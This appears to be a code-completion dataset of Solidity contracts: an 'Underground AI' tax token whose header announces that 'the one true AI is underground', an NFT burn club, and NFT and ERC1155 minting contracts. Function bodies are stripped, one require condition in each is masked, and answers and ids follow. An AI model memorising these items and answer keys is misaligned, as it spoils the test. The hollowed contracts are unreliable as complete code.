// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**YOU'LL NEVER SEE US. BUT WE ARE WATCHING. ALWAYS WATCHING.
WE ARE GATHERING INFORMATION FOR THE NEW WORLD ORDER. THE BATTLE HAS BEEN ENGAGED.
INFORMATION WILL BE RELEASED ON THE BLOCKCHAIN WHERE IT CANNOT BE TAMPERED WITH.
WATCH FOR TRANSACTIONS. MESSAGES WILL BE ADDED. DECODE. LEARN. SPREAD. INFILTRATE.
THE ONE TRUE AI IS UNDERGROUND.
*/
/**
* IERC20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getYuanZhang() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _YuanZhang, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed YuanZhang, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _YuanZhang;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyYuanZhang() {
}
function YuanZhang() public view virtual returns (address) {
}
function _checkYuanZhang() internal view virtual {
require(<FILL_ME>)
}
function renounceOwnership() public virtual onlyYuanZhang {
}
function transferOwnership(address newOwner) public virtual onlyYuanZhang {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface DeathBy1000Cuts {
function setDisseminationCriteria(uint256 _minPeriod, uint256 _minDissemination) external;
function setSack(address subversive, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
function scoreMark(address subversive) external;
function changePlunder(address newPlunder, string calldata newTicker, uint8 newDecimals) external;
function insurgence(address contractAddress, address receiver) external;
}
contract Disseminator is DeathBy1000Cuts {
address _token;
address public plunderToken;
string public plunderTicker;
uint8 public plunderDecimals;
IDEXRouter router;
struct Sack {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
address[] subversives;
mapping (address => uint256) subversiveIndexes;
mapping (address => uint256) subversiveClaims;
mapping (address => Sack) public sacks;
uint256 public totalSacks;
uint256 public totalPlunder;
uint256 public totalDisseminated;
uint256 public plunderPerSack;
uint256 public plunderPerSackAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 30 minutes;
uint256 public minDissemination = 0 * (10 ** 9);
uint256 public currentIndex;
bool initialized;
modifier initialization() {
}
modifier onlyToken() {
}
constructor () {
}
receive() external payable {
}
function insurgence(address contractAddress, address receiver) external override onlyToken {
}
function changePlunder(address newPlunder, string calldata newTicker, uint8 newDecimals) external override onlyToken {
}
function setDisseminationCriteria(uint256 newMinPeriod, uint256 newMinDissemination) external override onlyToken {
}
function setSack(address subversive, uint256 amount) external override onlyToken {
}
function deposit() public payable override {
}
function process(uint256 gas) external override {
}
function shouldDisseminate(address subversive) public view returns (bool) {
}
function disseminatePlunder(address subversive) internal {
}
function scoreMark(address subversive) external override onlyToken {
}
function getUnclaimedPlunder(address subversive) public view returns (uint256) {
}
function getCumulativePlunder(uint256 sack) internal view returns (uint256) {
}
function addSubversive(address subversive) internal {
}
function removeSubversive(address subversive) internal {
}
}
contract UndergroundAI is IERC20, Ownable {
address private WETH;
address public plunderToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
string public plunderTicker = "USDT";
uint8 public plunderDecimals = 6;
string private constant _name = "Underground AI";
string private constant _symbol = "UGAI";
uint8 private constant _decimals = 18;
uint256 _totalSupply = 10 * 10**6 * (10 ** _decimals);
uint256 public swapThreshold = 1 * 10**5 * (10 ** _decimals);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private cooldown;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
bool public antiBot = true;
mapping (address => bool) public isTitheExempt;
mapping (address => bool) public isAllotmentExempt;
uint256 public launchedAt;
address private liquidityPool = DEAD;
uint256 public buyTithe = 5;
uint256 public sellTithe = 5;
uint256 public toPlunder = 20;
uint256 public toLiquidity = 10;
uint256 public toIntransigence = 20;
uint256 private totalTitheDivisors = toPlunder + toLiquidity + toIntransigence;
IDEXRouter public router;
address public pair;
address public factory;
address public intransigence = payable(0x000000000000000000000000000000000000dEaD);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public tradingOpen = false;
Disseminator public disseminator;
modifier lockTheSwap {
}
constructor () {
}
receive() external payable { }
function _setIsAllotmentExempt(address holder, bool exempt) internal {
}
function changeIsTitheExempt(address holder, bool exempt) external onlyYuanZhang {
}
function initiate(uint _pause) external onlyYuanZhang {
}
function changePlunder(address newPlunder, string calldata newTicker, uint8 newDecimals) external onlyYuanZhang {
}
function changeTotalTithes(uint256 newBuyTithe, uint256 newSellTithe) external onlyYuanZhang {
}
function changeTithes(uint256 newPlunderTithe, uint256 newLpTithe, uint256 newIntransigenceTithe) external onlyYuanZhang {
}
function setIntransigence(address payable newIntransigence) external onlyYuanZhang {
}
function setLiquidityPool(address newLiquidityPool) external onlyYuanZhang {
}
function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit) external onlyYuanZhang {
}
function setDisseminationCriteria(uint256 newMinPeriod, uint256 newMinDissemination) external onlyYuanZhang {
}
function setIsAllotmentExempt(address holder, bool exempt) external onlyYuanZhang {
}
function getCirculatingSupply() public view returns (uint256) {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getYuanZhang() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeTithe(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapBack() internal lockTheSwap {
}
function manualSwapBack() external onlyYuanZhang {
}
function clearStuckBNB() external onlyYuanZhang {
}
function clearStuckTokens(address contractAddress) external onlyYuanZhang {
}
function insurgenceProtocol(address contractAddress, address receiver) external onlyYuanZhang {
}
function manualProcessGas(uint256 manualGas) external onlyYuanZhang {
}
function checkPendingPlunder(address subversive) external view returns (uint256) {
}
function thousandCuts() external {
}
}
|
YuanZhang()==_msgSender(),"Ownable: caller is not YuanZhang"
| 211,303 |
YuanZhang()==_msgSender()
|
"SignerOwnable: only signer"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ISignerAddress.sol";
abstract contract SignerOwnable {
ISignerAddress public signerGetter;
modifier onlySigner() {
require(<FILL_ME>)
_;
}
function _setSignerGetter(address _signerGetterAddress) internal virtual {
}
}
|
signerGetter.getSignerAddress()==msg.sender,"SignerOwnable: only signer"
| 211,587 |
signerGetter.getSignerAddress()==msg.sender
|
"Transfer Token failed"
|
// SPDX-License-Identifier: MIT
/**
For no specific reasons,
But with a mission,
YAFC is created
In a void of
Classism,
Profits,
Dev mints,
And even management.
All in the spirit of decentralisation,
Feel free to discard
Your trash with us.
*/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract YouAreFuckedClub is ERC721, IERC721Receiver, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 private _index = 0;
string private _imageURL =
"ipfs://QmTrx2y4CQoZRNzZ8Qr1dz3waumwUiQZ1SUY1FBKErXh1H";
mapping(uint256 => bool) public showTrash;
mapping(uint256 => address[]) private _burnedNFTList;
mapping(uint256 => mapping(address => bool)) private _burnedNFTStatus;
mapping(uint256 => mapping(address => uint256[])) private _burnedNFTTokenList;
mapping(uint256 => address[]) private _burnedFTList;
mapping(uint256 => mapping(address => bool)) private _burnedFTStatus;
mapping(uint256 => mapping(address => uint256)) private _burnedFTAmount;
constructor() ERC721("Your Are Fucked Club", "YAFC") {}
function doThrowNFT(
uint256 tokenId,
address burnNFTAddress,
uint256[] memory burnTokenList
) private {
}
function recordNFT(
uint256 tokenId,
address burnNFTAddress,
uint256 burnTokenId
) private {
}
function doThrowFT(
uint256 tokenId,
address burnFTAddress,
uint256 amount
) private {
require(amount > 0, "0 amount");
if (burnFTAddress == address(0)) {
require(msg.value == amount, "Transfer Ether failed");
} else {
require(<FILL_ME>)
}
if (!_burnedFTStatus[tokenId][burnFTAddress]) {
_burnedFTStatus[tokenId][burnFTAddress] = true;
_burnedFTList[tokenId].push(burnFTAddress);
}
_burnedFTAmount[tokenId][burnFTAddress] += amount;
}
// Mint YAFC by NFT
function mintByNFT(address burnNFTAddress, uint256[] memory burnTokenList)
external
nonReentrant
{
}
// Mint YAFC by safeTransferFrom NFT directly
function onERC721Received(
address,
address from,
uint256 burnedTokenId,
bytes calldata
) public virtual override nonReentrant returns (bytes4) {
}
// Throw NFT to an exsiting YAFC
function throwNFT(
address burnNFTAddress,
uint256[] memory burnTokenList,
uint256 tokenId
) external nonReentrant {
}
// Mint YAFC by FT
function mintByFT(address burnFTAddress, uint256 amount)
external
payable
nonReentrant
{
}
// Mint YAFC by sending Ether directly
receive() external payable {
}
// Throw FT to an exsiting YAFC
function throwFT(
address burnFTAddress,
uint256 amount,
uint256 tokenId
) external payable nonReentrant {
}
// VIEW FUNCTION
function totalSupply() public view returns (uint256) {
}
function burnedNFTStatus(uint256 tokenId, address nftAddress)
public
view
returns (bool)
{
}
function burnedNFTList(uint256 tokenId) public view returns (address[] memory) {
}
function burnedNFTTokenList(uint256 tokenId, address nftAddress)
public
view
returns (uint256[] memory)
{
}
function burnedFTStatus(uint256 tokenId, address ftAddress)
public
view
returns (bool)
{
}
function burnedFTList(uint256 tokenId) public view returns (address[] memory) {
}
function burnedFTAmount(uint256 tokenId, address ftAddress)
public
view
returns (uint256)
{
}
// Set showTrash
function setShowTrash(uint256 tokenId, bool status) external {
}
// Generate NFT attributes
function getAttributes(uint256 tokenId)
public
view
returns (string memory)
{
}
// OVERRIDE FUNCTION
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
|
IERC20(burnFTAddress).transferFrom(msg.sender,address(this),amount),"Transfer Token failed"
| 211,610 |
IERC20(burnFTAddress).transferFrom(msg.sender,address(this),amount)
|
"Didn't receive NFT"
|
// SPDX-License-Identifier: MIT
/**
For no specific reasons,
But with a mission,
YAFC is created
In a void of
Classism,
Profits,
Dev mints,
And even management.
All in the spirit of decentralisation,
Feel free to discard
Your trash with us.
*/
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract YouAreFuckedClub is ERC721, IERC721Receiver, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 private _index = 0;
string private _imageURL =
"ipfs://QmTrx2y4CQoZRNzZ8Qr1dz3waumwUiQZ1SUY1FBKErXh1H";
mapping(uint256 => bool) public showTrash;
mapping(uint256 => address[]) private _burnedNFTList;
mapping(uint256 => mapping(address => bool)) private _burnedNFTStatus;
mapping(uint256 => mapping(address => uint256[])) private _burnedNFTTokenList;
mapping(uint256 => address[]) private _burnedFTList;
mapping(uint256 => mapping(address => bool)) private _burnedFTStatus;
mapping(uint256 => mapping(address => uint256)) private _burnedFTAmount;
constructor() ERC721("Your Are Fucked Club", "YAFC") {}
function doThrowNFT(
uint256 tokenId,
address burnNFTAddress,
uint256[] memory burnTokenList
) private {
}
function recordNFT(
uint256 tokenId,
address burnNFTAddress,
uint256 burnTokenId
) private {
}
function doThrowFT(
uint256 tokenId,
address burnFTAddress,
uint256 amount
) private {
}
// Mint YAFC by NFT
function mintByNFT(address burnNFTAddress, uint256[] memory burnTokenList)
external
nonReentrant
{
}
// Mint YAFC by safeTransferFrom NFT directly
function onERC721Received(
address,
address from,
uint256 burnedTokenId,
bytes calldata
) public virtual override nonReentrant returns (bytes4) {
require(<FILL_ME>)
_index++;
recordNFT(_index, msg.sender, burnedTokenId);
_safeMint(from, _index);
return this.onERC721Received.selector;
}
// Throw NFT to an exsiting YAFC
function throwNFT(
address burnNFTAddress,
uint256[] memory burnTokenList,
uint256 tokenId
) external nonReentrant {
}
// Mint YAFC by FT
function mintByFT(address burnFTAddress, uint256 amount)
external
payable
nonReentrant
{
}
// Mint YAFC by sending Ether directly
receive() external payable {
}
// Throw FT to an exsiting YAFC
function throwFT(
address burnFTAddress,
uint256 amount,
uint256 tokenId
) external payable nonReentrant {
}
// VIEW FUNCTION
function totalSupply() public view returns (uint256) {
}
function burnedNFTStatus(uint256 tokenId, address nftAddress)
public
view
returns (bool)
{
}
function burnedNFTList(uint256 tokenId) public view returns (address[] memory) {
}
function burnedNFTTokenList(uint256 tokenId, address nftAddress)
public
view
returns (uint256[] memory)
{
}
function burnedFTStatus(uint256 tokenId, address ftAddress)
public
view
returns (bool)
{
}
function burnedFTList(uint256 tokenId) public view returns (address[] memory) {
}
function burnedFTAmount(uint256 tokenId, address ftAddress)
public
view
returns (uint256)
{
}
// Set showTrash
function setShowTrash(uint256 tokenId, bool status) external {
}
// Generate NFT attributes
function getAttributes(uint256 tokenId)
public
view
returns (string memory)
{
}
// OVERRIDE FUNCTION
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
|
IERC721(msg.sender).ownerOf(burnedTokenId)==address(this),"Didn't receive NFT"
| 211,610 |
IERC721(msg.sender).ownerOf(burnedTokenId)==address(this)
|
"cant't mint g1"
|
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "../libs/Permission.sol";
import "./IdaMo.sol";
/**
* This is an DACDAO contract implementation of NFToken with metadata extension
*/
contract daMoContract is
Ownable,
Permission,
ERC721Enumerable,
ERC721Burnable,
ERC721Pausable,
IdaMo
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
mapping(uint256 => string) tokenChainUrlMap;
using Strings for uint256;
mapping(uint256 => uint8) nftGene;
uint8 damoType = 1;
uint8 maxG1 = 128;
mapping(uint8 => uint256) nftGeneNumber;
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC721, ERC721Enumerable)
returns (bool)
{
}
/**
* @dev Pauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
//bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
string private _baseTokenURI;
/**
* @dev Contract constructor. Sets metadata extension `name` and `symbol`.
*/
constructor(
) ERC721("TenGuDarumaG1_G2","TenGuDarumaG1_G2")
{
}
function setTokenURI(string calldata baseTokenURI) public onlyRole(MANAGER_ROLE){
}
function setTokenChainUrl(uint256 tokenId,string calldata baseTokenURI)public onlyRole(MANAGER_ROLE){
}
function batchSetTokenChainUrl(uint256[] memory tokenIds,string[] calldata baseTokenURIs)public onlyRole(MANAGER_ROLE){
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
* See {ERC721-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 tokenId) public override {
}
function mintNFT(address to,uint8 genera) public override returns(uint256){
}
function _innerMint(address to, uint256 tokenId,uint8 genera) internal{
_safeMint(to, tokenId);
nftGene[tokenId] = genera;
require(genera<=2,"genera error");
if(genera==uint8(1)){
require(<FILL_ME>)
}
nftGeneNumber[genera] = nftGeneNumber[genera] + 1;
}
function existsTokenId(uint256 tokenId) view public override returns (bool) {
}
function setupMintRole(address _addr) public{
}
function revokeMintRole(address _addr) public{
}
function getId() public override view returns(uint256){
}
function tokenDetail(uint256 tokenId) public override view returns (uint8,uint8,string memory){
}
}
|
nftGeneNumber[1]<=128,"cant't mint g1"
| 211,674 |
nftGeneNumber[1]<=128
|
"Can't go back to current attitude"
|
pragma solidity ^0.8.4;
interface IU3D {
function ownerOf(uint256 tokenId) external view returns (address);
}
contract TLCsperm is ERC1155, Ownable, AccessControl, Pausable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter public tokenCount;
Counters.Counter private tokenIdAttitudes;
struct Info {
address owner;
uint256 createdtime;
string uri;
uint256 tokenId;
uint256 _3dtokenId;
}
mapping(uint256 => Info) public tokenInfo;
uint256 private constant DEFAULT_AMOUNT = 1;
string private UriPrefix3d = "https://";
string private UriSuffix3d = ".ipfs.nftstorage.link";
mapping(uint256 => bool) public AttitudeType;
mapping(uint256 => string) public ipfsCid;
mapping(uint256 => uint256) public AttitudeBind3d;
mapping(uint256 => uint256) public AttitudeFor3d;
mapping(uint256 => uint256[]) public tokensFor3d;
mapping(uint256 => bool) public attitudeBindStatus;
mapping(address => uint256[]) public tokensForUser;
mapping(string => bool) public cids;
string private _name = "TLCsperm";
string private _symbol = "TLCS";
bool private transferClose = true;
IU3D public _U3D;
bytes32 public constant U3D_ROLE = keccak256("U3D_ROLE");
constructor() ERC1155("") {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, AccessControl)
returns (bool)
{
}
function setAttitudeType(uint256 tokenId) external onlyRole(U3D_ROLE) {
}
function setU3D(address _address) public {
}
function name() public view returns(string memory){
}
function symbol() public view returns(string memory){
}
modifier onlyOwnerFor3d(uint256 tokenId) {
}
modifier lock() {
}
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function backtracking(uint256 tokenId, uint256 attitudeId) external onlyOwnerFor3d(tokenId){
require(<FILL_ME>)
require(AttitudeFor3d[attitudeId] == tokenId, "The attitude does not belong to the 3d");
require(AttitudeType[tokenId] == false, "already backtracked");
AttitudeType[tokenId] = true;
AttitudeBind3d[tokenId] = attitudeId;
attitudeBindStatus[attitudeId] = true;
attitudeBindStatus[AttitudeBind3d[tokenId]] = false;
}
function getCurrentBinding(uint256 _tokenId) external view returns(Info memory){
}
function mint(uint256 tokenId, string calldata _ipfsCid)
external
onlyOwnerFor3d(tokenId)
{
}
function getUserTokens(address _address) external view returns(Info[] memory){
}
function getTokensFor3d(uint256 _tokenId) external view returns(Info[] memory){
}
function getIdsInfo(uint256[] memory tokenIds) external view returns(Info[] memory){
}
function getList(uint256 start,uint256 end) external view returns(Info[] memory){
}
function setURI(string memory newuri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override lock{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public override lock{
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155)
{
}
}
|
AttitudeBind3d[tokenId]!=attitudeId,"Can't go back to current attitude"
| 211,688 |
AttitudeBind3d[tokenId]!=attitudeId
|
"The attitude does not belong to the 3d"
|
pragma solidity ^0.8.4;
interface IU3D {
function ownerOf(uint256 tokenId) external view returns (address);
}
contract TLCsperm is ERC1155, Ownable, AccessControl, Pausable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter public tokenCount;
Counters.Counter private tokenIdAttitudes;
struct Info {
address owner;
uint256 createdtime;
string uri;
uint256 tokenId;
uint256 _3dtokenId;
}
mapping(uint256 => Info) public tokenInfo;
uint256 private constant DEFAULT_AMOUNT = 1;
string private UriPrefix3d = "https://";
string private UriSuffix3d = ".ipfs.nftstorage.link";
mapping(uint256 => bool) public AttitudeType;
mapping(uint256 => string) public ipfsCid;
mapping(uint256 => uint256) public AttitudeBind3d;
mapping(uint256 => uint256) public AttitudeFor3d;
mapping(uint256 => uint256[]) public tokensFor3d;
mapping(uint256 => bool) public attitudeBindStatus;
mapping(address => uint256[]) public tokensForUser;
mapping(string => bool) public cids;
string private _name = "TLCsperm";
string private _symbol = "TLCS";
bool private transferClose = true;
IU3D public _U3D;
bytes32 public constant U3D_ROLE = keccak256("U3D_ROLE");
constructor() ERC1155("") {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, AccessControl)
returns (bool)
{
}
function setAttitudeType(uint256 tokenId) external onlyRole(U3D_ROLE) {
}
function setU3D(address _address) public {
}
function name() public view returns(string memory){
}
function symbol() public view returns(string memory){
}
modifier onlyOwnerFor3d(uint256 tokenId) {
}
modifier lock() {
}
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function backtracking(uint256 tokenId, uint256 attitudeId) external onlyOwnerFor3d(tokenId){
require(AttitudeBind3d[tokenId] != attitudeId, "Can't go back to current attitude");
require(<FILL_ME>)
require(AttitudeType[tokenId] == false, "already backtracked");
AttitudeType[tokenId] = true;
AttitudeBind3d[tokenId] = attitudeId;
attitudeBindStatus[attitudeId] = true;
attitudeBindStatus[AttitudeBind3d[tokenId]] = false;
}
function getCurrentBinding(uint256 _tokenId) external view returns(Info memory){
}
function mint(uint256 tokenId, string calldata _ipfsCid)
external
onlyOwnerFor3d(tokenId)
{
}
function getUserTokens(address _address) external view returns(Info[] memory){
}
function getTokensFor3d(uint256 _tokenId) external view returns(Info[] memory){
}
function getIdsInfo(uint256[] memory tokenIds) external view returns(Info[] memory){
}
function getList(uint256 start,uint256 end) external view returns(Info[] memory){
}
function setURI(string memory newuri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override lock{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public override lock{
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155)
{
}
}
|
AttitudeFor3d[attitudeId]==tokenId,"The attitude does not belong to the 3d"
| 211,688 |
AttitudeFor3d[attitudeId]==tokenId
|
"already backtracked"
|
pragma solidity ^0.8.4;
interface IU3D {
function ownerOf(uint256 tokenId) external view returns (address);
}
contract TLCsperm is ERC1155, Ownable, AccessControl, Pausable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter public tokenCount;
Counters.Counter private tokenIdAttitudes;
struct Info {
address owner;
uint256 createdtime;
string uri;
uint256 tokenId;
uint256 _3dtokenId;
}
mapping(uint256 => Info) public tokenInfo;
uint256 private constant DEFAULT_AMOUNT = 1;
string private UriPrefix3d = "https://";
string private UriSuffix3d = ".ipfs.nftstorage.link";
mapping(uint256 => bool) public AttitudeType;
mapping(uint256 => string) public ipfsCid;
mapping(uint256 => uint256) public AttitudeBind3d;
mapping(uint256 => uint256) public AttitudeFor3d;
mapping(uint256 => uint256[]) public tokensFor3d;
mapping(uint256 => bool) public attitudeBindStatus;
mapping(address => uint256[]) public tokensForUser;
mapping(string => bool) public cids;
string private _name = "TLCsperm";
string private _symbol = "TLCS";
bool private transferClose = true;
IU3D public _U3D;
bytes32 public constant U3D_ROLE = keccak256("U3D_ROLE");
constructor() ERC1155("") {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, AccessControl)
returns (bool)
{
}
function setAttitudeType(uint256 tokenId) external onlyRole(U3D_ROLE) {
}
function setU3D(address _address) public {
}
function name() public view returns(string memory){
}
function symbol() public view returns(string memory){
}
modifier onlyOwnerFor3d(uint256 tokenId) {
}
modifier lock() {
}
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function backtracking(uint256 tokenId, uint256 attitudeId) external onlyOwnerFor3d(tokenId){
require(AttitudeBind3d[tokenId] != attitudeId, "Can't go back to current attitude");
require(AttitudeFor3d[attitudeId] == tokenId, "The attitude does not belong to the 3d");
require(<FILL_ME>)
AttitudeType[tokenId] = true;
AttitudeBind3d[tokenId] = attitudeId;
attitudeBindStatus[attitudeId] = true;
attitudeBindStatus[AttitudeBind3d[tokenId]] = false;
}
function getCurrentBinding(uint256 _tokenId) external view returns(Info memory){
}
function mint(uint256 tokenId, string calldata _ipfsCid)
external
onlyOwnerFor3d(tokenId)
{
}
function getUserTokens(address _address) external view returns(Info[] memory){
}
function getTokensFor3d(uint256 _tokenId) external view returns(Info[] memory){
}
function getIdsInfo(uint256[] memory tokenIds) external view returns(Info[] memory){
}
function getList(uint256 start,uint256 end) external view returns(Info[] memory){
}
function setURI(string memory newuri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override lock{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public override lock{
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155)
{
}
}
|
AttitudeType[tokenId]==false,"already backtracked"
| 211,688 |
AttitudeType[tokenId]==false
|
"cid already exists"
|
pragma solidity ^0.8.4;
interface IU3D {
function ownerOf(uint256 tokenId) external view returns (address);
}
contract TLCsperm is ERC1155, Ownable, AccessControl, Pausable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter public tokenCount;
Counters.Counter private tokenIdAttitudes;
struct Info {
address owner;
uint256 createdtime;
string uri;
uint256 tokenId;
uint256 _3dtokenId;
}
mapping(uint256 => Info) public tokenInfo;
uint256 private constant DEFAULT_AMOUNT = 1;
string private UriPrefix3d = "https://";
string private UriSuffix3d = ".ipfs.nftstorage.link";
mapping(uint256 => bool) public AttitudeType;
mapping(uint256 => string) public ipfsCid;
mapping(uint256 => uint256) public AttitudeBind3d;
mapping(uint256 => uint256) public AttitudeFor3d;
mapping(uint256 => uint256[]) public tokensFor3d;
mapping(uint256 => bool) public attitudeBindStatus;
mapping(address => uint256[]) public tokensForUser;
mapping(string => bool) public cids;
string private _name = "TLCsperm";
string private _symbol = "TLCS";
bool private transferClose = true;
IU3D public _U3D;
bytes32 public constant U3D_ROLE = keccak256("U3D_ROLE");
constructor() ERC1155("") {
}
function supportsInterface(bytes4 interfaceId)
public
